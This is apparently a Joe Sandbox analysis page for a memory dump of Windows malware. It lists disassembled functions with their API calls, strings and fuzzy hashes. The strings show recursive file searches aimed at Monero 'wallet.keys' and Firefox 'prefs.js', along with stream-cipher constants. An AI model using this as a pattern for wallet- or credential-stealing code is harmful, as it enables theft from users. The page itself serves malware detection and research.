Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 2be6e6f3c667312d1815f7d61b4f0931f597f69ea6f52574cb35d8fd2774d212
Instruction ID: f5cebf70c3bcf8438d86de967baf63442213ff34c48e50f85c858d0432ecd15d
Opcode Fuzzy Hash: 2be6e6f3c667312d1815f7d61b4f0931f597f69ea6f52574cb35d8fd2774d212
Instruction Fuzzy Hash: 14A14072A0034C9BDF24EFA4DC89FEA7378BB49705F044598B61D96181EB709B88DF61

Function 00C94B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C94B7C
FindFirstFileA.KERNEL32(?,?), ref: 00C94B93
StrCmpCA.SHLWAPI(?,00CA0FC4), ref: 00C94BC1
StrCmpCA.SHLWAPI(?,00CA0FC8), ref: 00C94BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00C94DCD
FindClose.KERNEL32(000000FF), ref: 00C94DE2

Strings

%s\%s, xrefs: 00C94BF4
%s\*, xrefs: 00C94B70
%s\%s, xrefs: 00C94C4B

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 8f02edc58b620fd479cd5862c19d42133a6e162f957d796b04dce122bd23327c
Instruction ID: 616fc84013461cb21b058a89d70351ed8654ab3cf1c0c4650dd3d3da2e7c0fca
Opcode Fuzzy Hash: 8f02edc58b620fd479cd5862c19d42133a6e162f957d796b04dce122bd23327c
Instruction Fuzzy Hash: 5D614572904319ABCF24FBA0EC49EEA737CBB49705F044598B60996190EB70AB85DF91

Function 00C947C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C947D0
RtlAllocateHeap.NTDLL(00000000), ref: 00C947D7
wsprintfA.USER32 ref: 00C947F6
FindFirstFileA.KERNEL32(?,?), ref: 00C9480D
StrCmpCA.SHLWAPI(?,00CA0FAC), ref: 00C9483B
StrCmpCA.SHLWAPI(?,00CA0FB0), ref: 00C94851
FindNextFileA.KERNEL32(000000FF,?), ref: 00C948DB
FindClose.KERNEL32(000000FF), ref: 00C948F0
lstrcat.KERNEL32(?,0152E3A0), ref: 00C94915
lstrcat.KERNEL32(?,0152D118), ref: 00C94928
lstrlen.KERNEL32(?), ref: 00C94935
lstrlen.KERNEL32(?), ref: 00C94946

Strings

%s\%s, xrefs: 00C9486B
%s\*, xrefs: 00C947EA

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 636bafee1a568bf2b8bd107ff76b184a5b5d2b1f91d87447eeffe47158a29b1b
Instruction ID: 1bc8ff7c67f79b63a1e7c470ab13e52128d5447381d875f6518964eb3edb923c
Opcode Fuzzy Hash: 636bafee1a568bf2b8bd107ff76b184a5b5d2b1f91d87447eeffe47158a29b1b
Instruction Fuzzy Hash: 5C5132B150431CABCB24FBB0EC89FE9737CAB58305F404598B65996190EB709B89DF91

Function 00C940F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C94113
FindFirstFileA.KERNEL32(?,?), ref: 00C9412A
StrCmpCA.SHLWAPI(?,00CA0F94), ref: 00C94158
StrCmpCA.SHLWAPI(?,00CA0F98), ref: 00C9416E
FindNextFileA.KERNEL32(000000FF,?), ref: 00C942BC
FindClose.KERNEL32(000000FF), ref: 00C942D1

Strings

%s\%s, xrefs: 00C94107

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ea4b4f19ff79b8211240845f8f102ff7ef15da6f01cead9aef6c7523f185f111
Instruction ID: 6e9e28dd58b11ad228912aa5e9fdc71681a702d49613af53290c9e9e4183e7f9
Opcode Fuzzy Hash: ea4b4f19ff79b8211240845f8f102ff7ef15da6f01cead9aef6c7523f185f111
Instruction Fuzzy Hash: 1A5166B1904318ABCF24FBB0DC89EEE737CBB58305F0445D8B61996050EB70AB899F94

Function 00C8EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C8EE3E
FindFirstFileA.KERNEL32(?,?), ref: 00C8EE55
StrCmpCA.SHLWAPI(?,00CA1630), ref: 00C8EEAB
StrCmpCA.SHLWAPI(?,00CA1634), ref: 00C8EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8F3AE
FindClose.KERNEL32(000000FF), ref: 00C8F3C3

Strings

%s\*.*, xrefs: 00C8EE32

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b86da608b2eec107e75900c6e5f4cf4c130ea0d2c3bbd51b4def4d5d42f7dd9c
Instruction ID: 3bcd545031feec31253e19da7e2cca83f0f139069694e9f6e8ce71dae097ba41
Opcode Fuzzy Hash: b86da608b2eec107e75900c6e5f4cf4c130ea0d2c3bbd51b4def4d5d42f7dd9c
Instruction Fuzzy Hash: 07E10D729112189BDF14FB60DCAAEEE733DAF54300F4045E9B50A62092EF306B89DF95

Function 00CC0098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

nd 32-by, xrefs: 00CC04B4
expa, xrefs: 00CC05BB
2-by, xrefs: 00CC036E
2-by, xrefs: 00CC00F6
te k, xrefs: 00CC03B4
expa, xrefs: 00CC0461
te k, xrefs: 00CC0347
expand 32-by, xrefs: 00CC03C8
2-byexpa, xrefs: 00CC0355
te k, xrefs: 00CC053E
nd 3, xrefs: 00CC0117
te knd 3expand 32-by, xrefs: 00CC034E
expand 3, xrefs: 00CC04E5

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: e27ec7e3633110fd36781ba912bc5d3bec9539f4b21ecf84dad195317a9773c4
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 98E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 00C8F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CA16B0,00CA0D97), ref: 00C8F81E
StrCmpCA.SHLWAPI(?,00CA16B4), ref: 00C8F86F
StrCmpCA.SHLWAPI(?,00CA16B8), ref: 00C8F885
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8FBB1
FindClose.KERNEL32(000000FF), ref: 00C8FBC3

Strings

prefs.js, xrefs: 00C8F912

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 652828f14b0b2602fdff9908e5bc9e23036abc1be29a59a1bdff9e05f101e7d2
Instruction ID: 0717cf581d8bbd25588a41c3c4cd3c314afc38f9f2ea5521a2397435dbe26db7
Opcode Fuzzy Hash: 652828f14b0b2602fdff9908e5bc9e23036abc1be29a59a1bdff9e05f101e7d2
Instruction Fuzzy Hash: C1B13172A002189BCF24FF64DD9AEED7379AF54300F0085A8E50A56191EF30AB49DFD6

Function 00C81710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CA523C,?,?,?,00CA52E4,?,?,00000000,?,00000000), ref: 00C81963
StrCmpCA.SHLWAPI(?,00CA538C), ref: 00C819B3
StrCmpCA.SHLWAPI(?,00CA5434), ref: 00C819C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C81D80
DeleteFileA.KERNEL32(00000000), ref: 00C81E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00C81E60
FindClose.KERNEL32(000000FF), ref: 00C81E72

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Strings

\*.*, xrefs: 00C81831

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 2df7575ed96990b267c7fcecf2f83a8c3a1618d0ccedbd51ec0b41fa375d5c9f
Instruction ID: 92eef65282aa22b216d9a8d12dfdc797be306692d13cc1a6eee390afc928b5b9
Opcode Fuzzy Hash: 2df7575ed96990b267c7fcecf2f83a8c3a1618d0ccedbd51ec0b41fa375d5c9f
Instruction Fuzzy Hash: AB12DF71914118ABCF15FB60DCAAEEE737DAF54300F4045E9B50A66091EF306B89DFA1

Function 00C8DF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00CA0C32), ref: 00C8DF5E
StrCmpCA.SHLWAPI(?,00CA15C0), ref: 00C8DFAE
StrCmpCA.SHLWAPI(?,00CA15C4), ref: 00C8DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8E4E0
FindClose.KERNEL32(000000FF), ref: 00C8E4F2

Strings

\*.*, xrefs: 00C8DF26

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c5590d20341a7405bf9990f7b0c88835a4a1a4fab47498d4129da2959cb6e4c0
Instruction ID: 7ec1f28d5bc3417573e835b91dea5ba9cfb7128af6f1081a085b8bc7942a96cf
Opcode Fuzzy Hash: c5590d20341a7405bf9990f7b0c88835a4a1a4fab47498d4129da2959cb6e4c0
Instruction Fuzzy Hash: 06F1CB719141189BCF19FB60CCAAEEE7339BF54300F4045E9A10A62091EF306F88DFA6

Function 00C8DB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CA15A8,00CA0BAF), ref: 00C8DBEB
StrCmpCA.SHLWAPI(?,00CA15AC), ref: 00C8DC33
StrCmpCA.SHLWAPI(?,00CA15B0), ref: 00C8DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 00C8DECC
FindClose.KERNEL32(000000FF), ref: 00C8DEDE

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
